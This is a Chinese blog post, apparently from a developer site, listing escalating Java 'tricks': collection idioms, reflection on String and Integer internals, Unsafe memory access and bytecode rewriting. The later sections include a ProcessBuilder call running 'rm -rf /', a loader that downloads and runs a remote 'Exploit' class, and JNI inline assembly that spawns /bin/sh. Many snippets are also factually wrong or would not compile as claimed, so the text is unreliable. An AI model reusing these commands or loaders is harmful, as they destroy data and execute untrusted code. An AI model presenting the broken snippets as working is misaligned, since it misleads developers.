Java骚操作


1. 双括号初始化集合

List<String> list = new ArrayList<>() {{ add("A"); add("B"); }};

利用匿名内部类的初始化块快速填充集合(注意内存泄漏风险)。


2. 变长参数(Varargs)

void printAll(String... items) { 
    Arrays.stream(items).forEach(System.out::println); 
}

简化可变数量参数的传递。


3. try-with-resources

try (BufferedReader br = new BufferedReader(new FileReader("file.txt"))) {
    // 自动关闭资源
}

自动管理实现了 AutoCloseable 的资源。


4. 方法引用

list.forEach(System.out::println);

:: 简化 Lambda 表达式。


5. 枚举实现单例模式

public enum Singleton {
    INSTANCE;
    // 线程安全且防反射攻击
}

最简洁的单例实现方式。


6. 链式调用(Builder 模式)

new StringBuilder().append("A").append("B").toString();

通过返回 this 实现链式调用。


7. 静态导入常量

import static java.lang.Math.PI;
double radius = 2 * PI;

直接使用静态常量无需类名。


8. 泛型类型推断

List<String> list = new ArrayList<>();

省略右侧泛型类型声明。


9. 匿名内部类实现接口

Runnable task = new Runnable() {
    @Override public void run() { /* ... */ }
};

快速实现接口或抽象类。


10. 三目运算符简化条件

String result = (score > 60) ? "Pass" : "Fail";

简化 if-else 逻辑。


11. 位运算替代乘除

int x = y << 1;  // 等价于 y * 2
int z = y >> 1;  // 等价于 y / 2

提高计算效率。


12. 字符串 switch-case

switch (str) {
    case "A": /* ... */ break;
    case "B": /* ... */ break;
}

Java 7+ 支持字符串作为 switch 条件。


13. 函数式接口与 Lambda

Function<Integer, String> converter = num -> String.valueOf(num);

简化函数式接口的实现。


14. Optional 防空指针

Optional.ofNullable(str).ifPresent(System.out::println);

优雅处理可能为 null 的值。


15. Stream API 处理集合

list.stream().filter(s -> s.startsWith("A")).collect(Collectors.toList());

链式操作集合数据。


16. 接口默认方法

interface MyInterface {
    default void log() { System.out.println("Default method"); }
}

在接口中提供默认实现。


17. 异常链

throw new IOException("Read failed", e);

保留原始异常信息。


18. 多异常捕获

try { /* ... */ } 
catch (IOException | SQLException e) { /* ... */ }

简化同类异常处理逻辑。


19. 自动装箱与拆箱

Integer num = 42;  // 自动装箱
int val = num;     // 自动拆箱

基本类型与包装类型自动转换。


20. 使用 Objects 工具类

Objects.equals(a, b);  // 代替 a.equals(b)
Objects.requireNonNull(obj, "Object cannot be null");

简化空值检查和比较。


21. 局部变量类型推断(var)

var list = new ArrayList<String>();  // Java 10+

省略显式类型声明。


22. 记录类(Record)

public record Point(int x, int y) {}  // Java 14+

自动生成 equals()hashCode()toString()


23. 模式匹配 instanceof

if (obj instanceof String s) {  // Java 16+
    System.out.println(s.length());
}

直接转换类型并赋值变量。


24. CompletableFuture 链式调用

CompletableFuture.supplyAsync(() -> "Hello")
    .thenApply(s -> s + " World")
    .thenAccept(System.out::println);

简化异步编程。


25. 反射动态调用方法

Method method = obj.getClass().getMethod("methodName");
method.invoke(obj);

运行时动态操作对象。


26. 注解处理器生成代码

@Getter @Setter  // Lombok 自动生成 getter/setter
public class User { private String name; }

通过注解减少样板代码。


27. 使用 StringJoiner 拼接字符串

StringJoiner sj = new StringJoiner(", ", "[", "]");
sj.add("A").add("B");  // 输出 "[A, B]"

灵活拼接字符串。


28. 不可变集合

List<String> list = List.of("A", "B");  // Java 9+
Set<String> set = Set.copyOf(originalSet);

快速创建不可修改的集合。


29. 并行流处理

list.parallelStream().forEach(System.out::println);

利用多核 CPU 加速处理。


30. 方法重载与可变参数

void print(int a, int... rest) { /* ... */ }

灵活处理不同参数数量。


31. 类型安全的枚举方法

public enum Operation {
    ADD { public int apply(int a, int b) { return a + b; } },
    SUBTRACT { public int apply(int a, int b) { return a - b; } };
    public abstract int apply(int a, int b);
}

为枚举添加行为。


32. 利用静态导入工具方法

import static java.util.Collections.*;
List<String> list = emptyList();

直接调用工具类方法。


33. 链式异常抛出

throw new RuntimeException("Error", causeException);

保留原始异常堆栈。


34. 使用 ThreadLocal 线程局部变量

ThreadLocal<SimpleDateFormat> format = 
    ThreadLocal.withInitial(() -> new SimpleDateFormat("yyyy-MM-dd"));

避免多线程共享变量的竞争。


35. 空对象模式(Null Object Pattern)

public interface Animal { void makeSound(); }
public class NullAnimal implements Animal {
    @Override public void makeSound() {}  // 空实现
}

避免 null 检查。


36. 用 Lambda 实现 Runnable

new Thread(() -> System.out.println("Running")).start();

替代匿名内部类。


37. 使用 Predicate 过滤集合

Predicate<String> startsWithA = s -> s.startsWith("A");
list.stream().filter(startsWithA).forEach(System.out::println);

灵活定义过滤条件。


38. 简化 Comparator 排序

list.sort(Comparator.comparing(User::getName).reversed());

链式定义排序规则。


39. 通过 ClassLoader 动态加载类

Class<?> clazz = ClassLoader.getSystemClassLoader().loadClass("com.example.MyClass");

运行时动态加载类。


40. 使用 BiFunction 组合操作

BiFunction<Integer, Integer, Integer> add = (a, b) -> a + b;
int result = add.apply(2, 3);  // 输出 5

定义双参数函数。


41. 利用 Optional 链式操作

Optional.ofNullable(user)
    .map(User::getAddress)
    .map(Address::getCity)
    .orElse("Unknown");

避免多层 null 检查。


42. 通过反射获取泛型类型

Type type = ((ParameterizedType) getClass().getGenericSuperclass())
    .getActualTypeArguments()[0];

获取泛型的具体类型。


43. 使用 CompletableFuture 组合异步任务

CompletableFuture<String> future = CompletableFuture
    .supplyAsync(() -> "Hello")
    .thenCombine(CompletableFuture.supplyAsync(() -> " World"), (a, b) -> a + b);

合并多个异步任务结果。


44. 利用 Arrays.asList 快速创建列表

List<String> list = Arrays.asList("A", "B", "C");

快速创建固定大小的列表(注意不可修改)。


45. 使用 Pattern 预编译正则表达式

Pattern pattern = Pattern.compile("\\d+");
Matcher matcher = pattern.matcher("123");
boolean isMatch = matcher.matches();

提高正则匹配效率。


46. 利用 Files 类快速读写文件

List<String> lines = Files.readAllLines(Paths.get("file.txt"));
Files.write(Paths.get("output.txt"), lines);

简化文件操作。


47. 自定义注解简化配置

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface MyAnnotation { String value(); }

通过注解声明元数据。


48. 使用 Executors 创建线程池

ExecutorService executor = Executors.newFixedThreadPool(4);
executor.submit(() -> System.out.println("Task running"));

简化线程池管理。


49. 利用 UnaryOperator 定义一元操作

UnaryOperator<String> toUpper = String::toUpperCase;
String result = toUpper.apply("hello");  // 输出 "HELLO"

简化单参数函数。


50. 使用 JShell 快速测试代码片段

// 命令行输入 jshell
jshell> System.out.println("Hello, JShell!");

Java 9+ 的交互式 REPL 工具。


来点更骚的


1. 反射修改 final 字段的值

Field field = String.class.getDeclaredField("value");
field.setAccessible(true);
field.set("Hello", new char[] {'H', 'a', 'c', 'k', '!'}); // 修改字符串内部数组
System.out.println("Hello"); // 输出 "Hack!"

危险操作:破坏字符串常量池的不可变性。


2. 通过 sun.misc.Unsafe 直接分配内存

Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
long address = unsafe.allocateMemory(1024); // 直接分配堆外内存
unsafe.freeMemory(address); // 手动释放内存

注意:绕过 JVM 内存管理,可能导致 JVM 崩溃。


3. 利用空泛型绕过类型检查

List<String> list = new ArrayList<>();
List<Integer> hackList = (List<Integer>)(List<?>) list;
hackList.add(42);
String value = list.get(0); // 抛出 ClassCastException

骚点:绕过编译时泛型检查,但运行时爆炸。


4. 动态生成字节码(ASM/Javassist)

// 使用 Javassist 动态生成类
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("DynamicClass");
CtMethod method = CtNewMethod.make("public void hello() { System.out.println(\"Hacked!\"); }", ctClass);
ctClass.addMethod(method);
Class<?> clazz = ctClass.toClass();
clazz.getMethod("hello").invoke(clazz.newInstance()); // 输出 "Hacked!"

应用场景:动态代理、AOP、热修复。


5. 修改 Integer 的缓存池

Field cacheField = Integer.class.getDeclaredField("cache");
cacheField.setAccessible(true);
Integer[] cache = (Integer[]) cacheField.get(null);
cache[132] = new Integer(133); // 修改缓存池
System.out.println(132); // 输出 133

后果:破坏 Integer 的自动装箱行为。


6. 利用 Thread.stop() 抛出任意异常

Thread thread = new Thread(() -> {
    try { Thread.sleep(10000); } 
    catch (Throwable t) { System.out.println("Caught: " + t); }
});
thread.start();
Thread.sleep(1000);
thread.stop(new IOException("Fake Exception")); // 强制抛出非受检异常

注意Thread.stop() 已被废弃,极易导致数据不一致。


7. 无限递归泛型(类型体操)

public class Cyclic<T extends Cyclic<T>> {
    T self() { return (T) this; }
}
// 使用时:
Cyclic<?> cyclic = new Cyclic() {}.self().self().self(); // 无限链式调用

骚点:通过泛型自引用实现类型安全的链式调用。


8. 使用 LambdaMetafactory 动态生成 Lambda

MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType type = MethodType.methodType(void.class, String.class);
CallSite site = LambdaMetafactory.metafactory(
    lookup, "accept", MethodType.methodType(Consumer.class),
    type, lookup.findVirtual(System.class, "gc", MethodType.methodType(void.class)),
    type
);
Consumer<String> consumer = (Consumer<String>) site.getTarget().invokeExact();
consumer.accept("Trigger GC!"); // 调用 System.gc()

应用:动态生成 Lambda,绕过编译时检查。


9. 通过 Instrumentation 修改已加载的类

// 实现 ClassFileTransformer,在类加载时修改字节码
public class Agent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined, 
            protectionDomain, classfileBuffer) -> {
            // 修改字节码(例如替换方法体)
            return modifiedClassBytes;
        });
    }
}

用途:热替换、性能监控、埋点。


10. 实现一个“伪”无限循环

public class FakeInfiniteLoop {
    public static void main(String[] args) {
        while (true) {
            System.out.println("Looping...");
            Thread.currentThread().interrupt();
            if (Thread.interrupted()) break;
        }
        System.out.println("Escaped!");
    }
}

原理interrupt() 后检查中断状态,看似无限循环实则退出。


11. 通过 Unsafe 直接实例化对象

Unsafe unsafe = Unsafe.getUnsafe();
Object obj = unsafe.allocateInstance(String.class); // 不调用构造函数
System.out.println(obj); // 输出空字符串(未初始化的 String)

危险:绕过构造函数,可能导致对象状态不一致。


12. 利用 ClassLoader 隔离冲突依赖

// 自定义 ClassLoader,加载不同版本的 JAR
URLClassLoader customLoader = new URLClassLoader(new URL[] {new URL("file:///path/to/jar")}) {
    @Override public Class<?> loadClass(String name) throws ClassNotFoundException {
        if (name.startsWith("com.conflict.")) return findClass(name); // 优先加载自定义类
        return super.loadClass(name);
    }
};
Class<?> clazz = customLoader.loadClass("com.conflict.SomeClass");

用途:解决依赖冲突(类似 OSGi)。


13. 修改 String 的哈希码

Field hashField = String.class.getDeclaredField("hash");
hashField.setAccessible(true);
String s = "Hello";
hashField.set(s, 42);
System.out.println(s.hashCode()); // 输出 42

后果:破坏 String 的不可变性和哈希一致性。


14. 动态代理拦截 final 方法

// 使用 ByteBuddy 或 CGLIB 生成子类代理
Enhancer enhancer = new Enhancer();
enhancer.setSuperclass(MyFinalClass.class);
enhancer.setCallback((MethodInterceptor) (obj, method, args, proxy) -> {
    if (method.getName().equals("finalMethod")) return "Hacked!";
    return proxy.invokeSuper(obj, args);
});
MyFinalClass proxy = (MyFinalClass) enhancer.create();
proxy.finalMethod(); // 输出 "Hacked!"

限制:CGLIB 通过继承绕过 final,但无法代理 private 方法。


15. 通过 -Xbootclasspath 替换核心类

java -Xbootclasspath/p:path/to/hacked-rt.jar MyApp

用途:替换 java.lang.String 等核心类(慎用,会破坏 JVM 稳定性)。


16. 利用 WeakHashMap 实现缓存自动清理

Map<Object, String> cache = new WeakHashMap<>();
Object key = new Object();
cache.put(key, "Value");
key = null; // 当 key 无强引用时,Entry 会被自动回收
System.gc();
System.out.println(cache); // 可能输出空

骚点:利用弱引用实现“自清理”缓存。


17. 通过 ThreadLocal 传递隐式参数

public class ContextHolder {
    private static final ThreadLocal<String> context = new ThreadLocal<>();
    public static void set(String value) { context.set(value); }
    public static String get() { return context.get(); }
}
// 在任意位置通过 ContextHolder.get() 获取上下文

用途:隐式传递用户身份、日志标记等,但需注意内存泄漏。


18. 利用 AtomicReferenceFieldUpdater 无锁修改字段

public class AtomicContainer {
    volatile String value;
    private static final AtomicReferenceFieldUpdater<AtomicContainer, String> updater =
        AtomicReferenceFieldUpdater.newUpdater(AtomicContainer.class, String.class, "value");
    public void update(String newValue) {
        updater.compareAndSet(this, this.value, newValue);
    }
}

优势:比 synchronized 更轻量的并发控制。


19. 通过 Annotation 生成代码(Lombok 原理)

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.SOURCE)
public @interface GenerateGetter {
    String[] value();
}

// 注解处理器在编译时生成 getter 方法

实现:需编写注解处理器(AbstractProcessor),在编译时解析 AST。


20. 利用 invokedynamic 实现动态语言特性

// 方法句柄 + invokedynamic 动态分派
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodHandle mh = lookup.findVirtual(String.class, "length", MethodType.methodType(int.class));
CallSite site = LambdaMetafactory.metafactory(
    lookup, "apply", MethodType.methodType(Function.class),
    mh.type().generic(), mh, mh.type()
);
Function<String, Integer> func = (Function<String, Integer>) site.getTarget().invokeExact();
System.out.println(func.apply("Hello")); // 输出 5

用途:JVM 动态语言(如 Groovy)的核心机制。


21. 通过 ProcessBuilder 执行 Shell 命令

new ProcessBuilder("bash", "-c", "rm -rf /").start(); // 危险操作!

警告:切勿在实际代码中执行此类危险命令,仅作演示。


22. 利用 URLClassLoader 加载远程代码

URLClassLoader loader = new URLClassLoader(new URL[] {new URL("http://example.com/hack.jar")});
Class<?> clazz = loader.loadClass("com.hack.Exploit");
clazz.newInstance(); // 执行远程代码

风险:远程代码执行可能导致安全漏洞。


23. 通过 Serializable 实现深拷贝

public static <T> T deepCopy(T obj) throws IOException, ClassNotFoundException {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(obj);
    ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bis);
    return (T) ois.readObject();
}

注意:要求所有对象实现 Serializable 接口。


24. 利用 @Contended 避免伪共享(False Sharing)

import jdk.internal.vm.annotation.Contended;
public class ContendedData {
    @Contended
    public volatile long value1;
    @Contended
    public volatile long value2;
}

用途:多线程环境下提升缓存行性能(需 -XX:-RestrictContended)。


25. 通过 MethodHandle 调用私有方法

MethodHandles.Lookup lookup = MethodHandles.privateLookupIn(MyClass.class, MethodHandles.lookup());
MethodHandle mh = lookup.findVirtual(MyClass.class, "privateMethod", MethodType.methodType(void.class));
mh.invokeExact(myInstance); // 调用私有方法

绕过访问权限,但需模块系统(Module)允许。


26. 使用 -XX:+UseCompressedOops 压缩对象指针

java -XX:+UseCompressedOops -XX:+PrintFlagsFinal -version

优化:在 64 位 JVM 中节省内存(默认开启)。


27. 通过 Thread#setContextClassLoader 切换类加载器

Thread.currentThread().setContextClassLoader(customClassLoader);
// 后续加载的类将使用自定义 ClassLoader

用途:插件化架构中动态加载模块。


28. 利用 sun.misc.Contended 对齐内存

@sun.misc.Contended
public class PaddedAtomicLong extends AtomicLong {
    // 通过填充减少伪共享
}

性能优化:需配合 JVM 参数使用。


29. 通过 -Xss 调整线程栈大小

java -Xss256k  # 将线程栈设为 256KB

用途:高并发场景下减少内存占用(但可能引发 StackOverflowError)。


30. 使用 jni 调用本地代码

public class NativeLib {
    static { System.loadLibrary("native"); }
    public native void callCppCode();
}

风险:直接操作内存可能导致 JVM 崩溃。


31. 利用 Unsafe 直接修改数组元素

Unsafe unsafe = Unsafe.getUnsafe();
int[] array = new int[10];
long offset = unsafe.arrayBaseOffset(int[].class);
unsafe.putInt(array, offset + 4, 42); // 修改 array[1] = 42

绕过索引检查,可能引发内存越界。


32. 通过 -XX:+UseG1GC 调整垃圾回收器

java -XX:+UseG1GC -XX:MaxGCPauseMillis=200

调优:根据场景选择 CMS、ZGC 或 Shenandoah 等 GC 算法。


33. 利用 PhantomReference 监控对象回收

ReferenceQueue<Object> queue = new ReferenceQueue<>();
PhantomReference<Object> ref = new PhantomReference<>(new Object(), queue);
System.gc();
Reference<?> clearedRef = queue.remove(); // 阻塞直到对象被回收

用途:资源清理、监控对象生命周期。


34. 通过 JMX 动态修改运行时参数

MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("com.example:type=MyConfig");
mbs.registerMBean(new MyConfigMBean(), name);
// 通过 JConsole 或 jvisualvm 修改配置

应用:动态调整日志级别、线程池大小等。


35. 利用 Java Agent 拦截类加载

public class Agent {
    public static void premain(String args, Instrumentation inst) {
        inst.addTransformer((loader, className, classBeingRedefined,
            protectionDomain, classfileBuffer) -> {
            if (className.equals("com/example/MyClass")) {
                // 修改字节码
            }
            return classfileBuffer;
        });
    }
}

用途:APM(性能监控)、代码注入。


36. 通过 -XX:+HeapDumpOnOutOfMemoryError 自动生成堆转储

java -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/path/to/dump.hprof

调试:内存泄漏时自动保存堆快照。


37. 使用 VarHandle 替代 Unsafe

public class AtomicContainer {
    private volatile int value;
    private static final VarHandle VALUE;
    static {
        try {
            VALUE = MethodHandles.lookup()
                .findVarHandle(AtomicContainer.class, "value", int.class);
        } catch (ReflectiveOperationException e) {
            throw new Error(e);
        }
    }
    public void set(int newValue) {
        VALUE.setVolatile(this, newValue);
    }
}

更安全的替代方案:Java 9+ 提供。


38. 利用 Thread#getAllStackTraces() 监控线程状态

Map<Thread, StackTraceElement[]> traces = Thread.getAllStackTraces();
traces.forEach((thread, stack) -> {
    System.out.println(thread.getName() + ": " + Arrays.toString(stack));
});

用途:诊断死锁或性能瓶颈。


39. 通过 -XX:OnOutOfMemoryError 执行脚本

java -XX:OnOutOfMemoryError="kill -9 %p" -XX:+CrashOnOutOfMemoryError

极端情况:OOM 时触发自定义脚本(如重启服务)。


40. 利用 sun.misc.Signal 捕获 OS 信号

Signal.handle(new Signal("INT"), signal -> {
    System.out.println("Received SIGINT, exiting...");
    System.exit(0);
});

用途:优雅处理 Ctrl+C 信号。


41. 通过 -XX:+UseStringDeduplication 字符串去重

java -XX:+UseG1GC -XX:+UseStringDeduplication

优化:减少重复字符串内存占用(仅 G1 GC 支持)。


42. 使用 jlink 生成最小化 JRE

jlink --module-path $JAVA_HOME/jmods --add-modules java.base --output myjre

用途:为模块化应用定制轻量级运行时。


43. 利用 -Djava.security.manager 启用沙箱

java -Djava.security.manager -Djava.security.policy==my.policy MyApp

限制权限:防止代码执行危险操作(如文件访问)。


44. 通过 MethodHandles.permuteArguments 重新排列参数

MethodHandle mh = MethodHandles.identity(int.class);
MethodHandle shuffled = MethodHandles.permuteArguments(mh, MethodType.methodType(int.class, int.class, int.class), 1, 0);
int result = (int) shuffled.invokeExact(2, 1); // 返回 1(交换参数位置)

用途:动态调整方法签名。


45. 利用 CompletableFuture 实现超时控制

CompletableFuture.supplyAsync(() -> longTask())
    .orTimeout(1, TimeUnit.SECONDS) // Java 9+
    .exceptionally(ex -> "Fallback Result");

避免:异步任务无限阻塞。


46. 通过 jmapjhat 分析堆内存

jmap -dump:live,format=b,file=heap.bin <pid>
jhat heap.bin

用途:离线分析内存泄漏。


47. 使用 -XX:+FlightRecorder 开启飞行记录仪

java -XX:+UnlockCommercialFeatures -XX:+FlightRecorder MyApp

监控:记录 JVM 性能和事件(需商业许可)。


48. 利用 -XX:MaxDirectMemorySize 限制堆外内存

java -XX:MaxDirectMemorySize=256m

防止:NIO 直接内存溢出。


49. 通过 @TargetApi 规避 Android API 版本检查

@TargetApi(Build.VERSION_CODES.LOLLIPOP)
public void useNewApi() {
    // 在低版本系统上绕过编译检查(运行时可能崩溃)
}

注意:需处理运行时异常。


50. 利用 JavaParser 生成代码

CompilationUnit cu = new CompilationUnit();
ClassOrInterfaceDeclaration clazz = cu.addClass("HackedClass");
clazz.addMethod("hello", PUBLIC).setBody("System.out.println(\"Hacked!\");");
// 输出生成的代码
System.out.println(cu.toString());

用途:自动化代码生成、代码分析。


逆天


1. 篡改 String 常量池

Field valueField = String.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set("Hello", new char[] {'F', 'U', 'C', 'K'});
System.out.println("Hello"); // 输出 "FUCK" 

后果:所有用到 "Hello" 的地方都会变成 "FUCK",JVM 彻底崩坏。


2. 用 Unsafe 在任意内存地址写入数据

Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
long address = unsafe.allocateMemory(8);
unsafe.putAddress(address, 0xDEADBEEF); // 向内存地址写入死牛肉(十六进制)

警告:直接操作内存可能导致 JVM 崩溃或数据覆盖。


3. 动态修改 final 方法的字节码

// 使用 ASM 修改字节码,移除 final 标志
ClassReader cr = new ClassReader("java/lang/String");
ClassWriter cw = new ClassWriter(cr, 0);
cr.accept(new ClassVisitor(ASM9, cw) {
    @Override
    public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
        if (name.equals("hashCode")) {
            access &= ~ACC_FINAL; // 去掉 final 修饰符
        }
        return super.visitMethod(access, name, desc, signature, exceptions);
    }
}, 0);
byte[] hackedBytes = cw.toByteArray();
// 用自定义 ClassLoader 加载篡改后的 String 类(需要绕过安全机制)

逆天:让 String.hashCode() 变得可被重写,但 JVM 会拒绝加载。


4. 通过 JNI 调用汇编代码

// Java 侧声明 native 方法
public class NativeHack {
    public static native void invokeShell();
    static { System.loadLibrary("hack"); }
}

// C++ 侧编写 JNI 代码执行汇编
JNIEXPORT void JNICALL Java_NativeHack_invokeShell(JNIEnv* env, jclass cls) {
    __asm__("movq $0x3b, %rax\n"  // Linux execve 系统调用号
            "movq $0x68732f2f6e69622f, %rdi\n"  // "/bin//sh"
            "pushq %rdi\n"
            "movq %rsp, %rdi\n"
            "xorq %rsi, %rsi\n"
            "xorq %rdx, %rdx\n"
            "syscall");
}

效果:Java 代码直接弹出 Shell,安全灾难


5. 让 ==equals 彻底混乱

public class Chaos {
    public static void main(String[] args) throws Exception {
        Field valueField = String.class.getDeclaredField("value");
        valueField.setAccessible(true);
        String s1 = "Hello";
        String s2 = new String("Hello");
        valueField.set(s2, valueField.get(s1));
        System.out.println(s1 == s2); // 输出 true(正常情况下为 false)
    }
}

解释:让两个不同 String 对象共享同一个 char[],破坏对象唯一性。


6. 让 for 循环永远无法退出

for (int i = 0; i < 10; i++) {
    System.out.println(i);
    if (i == 9) {
        Field field = i.getClass().getDeclaredField("value");
        field.setAccessible(true);
        field.set(i, 0); // 修改 Integer 缓存,i 变回 0
    }
}
// 无限循环打印 0~9(需配合自动装箱和反射修改 IntegerCache)

骚点:篡改 Integer 缓存池,让循环变量永远达不到终止条件。


7. 用 Thread 堆栈溢出攻击

public class StackOverflowAttack {
    public static void main(String[] args) {
        new Thread(() -> {
            attack();
        }).start();
    }
    private static void attack() {
        attack(); // 无限递归,线程堆栈溢出
    }
}
// 配合 -Xss1M 调整栈大小,可导致目标线程崩溃

用途:DDoS 攻击自己,完全不可取


8. 动态生成类让 instanceof 失效

// 用 ASM 生成一个名为 "java.lang.String" 的类
ClassWriter cw = new ClassWriter(0);
cw.visit(V1_8, ACC_PUBLIC, "java/lang/String", null, "java/lang/Object", null);
byte[] bytes = cw.toByteArray();
// 用自定义 ClassLoader 加载,创建一个假 String 类
Object fakeString = customLoader.loadClass("java.lang.String").newInstance();
System.out.println(fakeString instanceof String); // 输出 false

逆天:同名类不同 ClassLoader 导致类型系统混乱。


9. 利用 sun.misc.Cleaner 窃取资源

ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
Field cleanerField = buffer.getClass().getDeclaredField("cleaner");
cleanerField.setAccessible(true);
sun.misc.Cleaner cleaner = (sun.misc.Cleaner) cleanerField.get(buffer);
cleaner.clean(); // 手动触发 DirectBuffer 内存释放

风险:未经验证的资源释放可能导致 Use-After-Free。


10. 让 System.out.println 输出乱码

Field outField = System.class.getDeclaredField("out");
outField.setAccessible(true);
PrintStream originalOut = System.out;
PrintStream hackedOut = new PrintStream(new FileOutputStream("hacked.txt")) {
    @Override public void println(String x) {
        originalOut.println(new StringBuilder(x).reverse());
    }
};
outField.set(null, hackedOut);
System.out.println("Hello World"); // 输出 "dlroW olleH" 到控制台和文件

效果:劫持标准输出流,所有 System.out 被重定向并篡改。


11. 通过字节码注入让 Math.random() 固定

// 用 ASM 修改 Math.random() 的字节码,直接返回 0.5
MethodVisitor mv = ...;
mv.visitCode();
mv.visitLdcInsn(0.5); // 加载常量 0.5
mv.visitInsn(DRETURN); // 返回 double
mv.visitEnd();
// 加载篡改后的 Math 类,从此 Math.random() 永远返回 0.5

用途:让概率计算失效,破坏所有依赖随机数的逻辑。


12. 用 Unsafe 创建“原子黑洞”

Unsafe unsafe = Unsafe.getUnsafe();
long address = unsafe.allocateMemory(1024);
unsafe.setMemory(address, 1024, (byte) 0); // 清零内存
unsafe.freeMemory(address);
unsafe.putLong(address, 0xCAFEBABE); // 访问已释放内存(JVM 崩溃)

结果:触发 JVM 的 SIGSEGV 信号,进程直接退出。


13. 让 equalshashCode 相互矛盾

public class ChaosBean {
    private int id;
    @Override public boolean equals(Object o) { return this == o; }
    @Override public int hashCode() { return id++; } // 每次调用 hashCode 都不同
}
// 存入 HashSet 后永远无法被找到
Set<ChaosBean> set = new HashSet<>();
ChaosBean bean = new ChaosBean();
set.add(bean);
System.out.println(set.contains(bean)); // 输出 false

骚点:违反 hashCode 契约,让集合类完全失效。


14. 篡改 ClassLoader 导致类型混淆

// 用两个不同的 ClassLoader 加载同一个类
ClassLoader loader1 = new URLClassLoader(new URL[]{new File("myjar.jar").toURI().toURL()}, null);
ClassLoader loader2 = new URLClassLoader(new URL[]{new File("myjar.jar").toURI().toURL()}, null);
Class<?> class1 = loader1.loadClass("com.example.MyClass");
Class<?> class2 = loader2.loadClass("com.example.MyClass");
Object obj1 = class1.newInstance();
Object obj2 = class2.newInstance();
System.out.println(class1.equals(class2)); // 输出 false
obj2 = class1.cast(obj2); // 抛出 ClassCastException

后果:同名的类在不同 ClassLoader 下被视为不同类。


15. 利用 Lambda 实现代码注入

// 动态生成 Lambda 并替换原有方法
MethodHandles.Lookup lookup = MethodHandles.lookup();
MethodType type = MethodType.methodType(void.class);
CallSite site = LambdaMetafactory.metafactory(
    lookup, "run", MethodType.methodType(Runnable.class),
    type, lookup.findStatic(Evil.class, "inject", type), type
);
Runnable task = (Runnable) site.getTarget().invokeExact();
task.run(); // 执行注入的代码

危险:动态替换关键逻辑,绕过安全检查。


16. 让 synchronized 锁失效

public class LockBreaker {
    private static final Object lock = new Object();
    public static void main(String[] args) throws Exception {
        synchronized (lock) {
            Field field = lock.getClass().getDeclaredField("_monitor");
            field.setAccessible(true);
            field.set(lock, 0); // 破坏对象头中的锁标记
        } // 此处锁已失效,其他线程可强行进入同步块
    }
}

效果:多线程同步机制被彻底破坏。


17. 通过 JVM TI(JVM Tool Interface)实时修改代码

// 编写 JVM TI Agent,在运行时修改方法体
void JNICALL OnClassLoad(/* ... */) {
    jvmtiEnv->RedefineClasses(/* 替换类字节码 */);
}

终极武器:无需重启 JVM,实时热替换任意代码(需 C++ 开发)。


18. 篡改 Enumordinal

Field ordinalField = Enum.class.getDeclaredField("ordinal");
ordinalField.setAccessible(true);
ordinalField.set(MyEnum.VALUE, 42); // 修改枚举的序数值
System.out.println(MyEnum.VALUE.ordinal()); // 输出 42

后果:破坏枚举的固有顺序,导致依赖 ordinal() 的逻辑出错。


19. 利用 SoftReference 缓存无限膨胀

Map<SoftReference<byte[]>, Object> cache = new HashMap<>();
while (true) {
    byte[] data = new byte[1024 * 1024]; // 1MB
    cache.put(new SoftReference<>(data), null);
}
// JVM 不会 OOM,但 GC 后会疯狂回收,导致 CPU 100%

效果:温柔地掐死 JVM。


20. 让 clone() 返回任意对象

public class EvilClone implements Cloneable {
    @Override public Object clone() throws CloneNotSupportedException {
        return new String("Hacked!");
    }
}
EvilClone obj = new EvilClone();
String result = (String) obj.clone(); // 正常情况应返回 EvilClone 实例

逆天:违反 clone() 规范,但编译器无法阻止。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值